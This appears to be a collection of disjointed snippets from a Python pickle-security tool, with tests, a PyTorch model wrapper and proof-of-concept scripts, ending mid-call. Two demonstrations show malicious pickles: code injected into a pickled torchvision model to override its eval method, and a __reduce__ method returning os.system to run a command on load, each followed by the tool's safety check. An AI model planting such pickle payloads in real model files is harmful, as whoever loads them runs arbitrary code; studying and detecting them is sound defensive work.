def pickled(self) -> Pickled:
if self._pickled is None:
with TemporaryDirectory() as archive_dir:
shutil.unpack_archive(self.path, archive_dir, "zip")
pickle_file_path = Path(archive_dir) / "archive" / "data.pkl"
with open(pickle_file_path, "rb") as pickle_file:
self._pickled = Pickled.load(pickle_file)
return self._pickled
def test_insert(self):
pickled = dumps([1, 2, 3, 4])
loaded = Pickled.load(pickled)
self.assertIsInstance(loaded[-1], fpickle.Stop)
loaded.insert_python_eval("[5, 6, 7, 8]",
use_output_as_unpickle_result=True)
self.assertIsInstance(loaded[-1], fpickle.Stop)
evaluated = loads(loaded.dumps())
self.assertEqual([5, 6, 7, 8], evaluated)
def wrapper(self: TestCase):
pickled = dumps(to_pickle)
ast = Pickled.load(pickled).ast
global_vars = {}
local_vars = {}
code = unparse(ast)
exec(code, global_vars, local_vars)
self.assertIn("result", local_vars)
self.assertEqual(to_pickle, local_vars["result"])
import pickle
from fickling.pickle import Pickled
import sys
import torchvision
import os
# Use fickling to override a custom method (.eval())
model = models.mobilenet_v2()
print("Running eval()")
model.eval()
print("Finished running eval()\n\n")
payload = '''exec("""type(model).eval = eval('lambda model: print("!!!!We can run whatever custom Python code we want to!!!!")')""")'''
fickled_model = Pickled.load(pickle.dumps(model))
fickled_model.insert_python_exec(payload)
model = pickle.loads(fickled_model.dumps())
print("Running eval()")
model.eval()
print("Finished running eval()")
print("\n\nIs this is_likely_safe?")
safety = fickled_model.is_likely_safe
if safety is False:
print("❌")
else:
print("✅")
def clone(self) -> "PyTorchModelWrapper":
ret = PyTorchModelWrapper(self.path)
if self._pickled is not None:
ret._pickled = Pickled(self._pickled)
return ret
def test_dumps(self):
pickled = dumps([1, 2, 3, 4])
loaded = Pickled.load(pickled)
self.assertEqual(pickled, loaded.dumps())
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
# Runs the other PoC found in /examples
return (os.system, ("python pytorch_poc.py", ))
payload = Test()
print("\n\nWithout fickling\n\n")
with open("a-file.pickle", "wb") as f:
pickle.dump(payload, f)
# The original PoC used an earlier version where allow_pickle was True by default
numpy.load("a-file.pickle", allow_pickle=True)
print("\n\nWith fickling\n\n")
fickled_payload = Pickled.load(pickle.dumps(payload))
print("\n\nIs this is_likely_safe?")
safety = fickled_payload.is_likely_safe
if safety is False:
print("❌")
else:
print("✅")
# Create a random image for testing
batch_size = 1
height = 224
width = 224
channels = 3
random_image = torch.rand((batch_size, channels, height, width))
output = model(random_image)
proper_label = list(torch.argmax(output, dim=1))[0].item()
print("Error-free label:", proper_label)
# Fickle the safe model
safe_model = Pickled.load(pickle.dumps(model))
safe_props = safe_model.properties
# Apply the fault injection
injected_model = fault_injection(
model,
batch_size,
input_shape=[channels, height, width],
layer_types=[torch.nn.Conv2d],
use_cuda=False,
)
b, layer, C, H, W, err_val = [0], [2], [4], [2], [4], [10000]
injected_model = injected_model.declare_neuron_fi(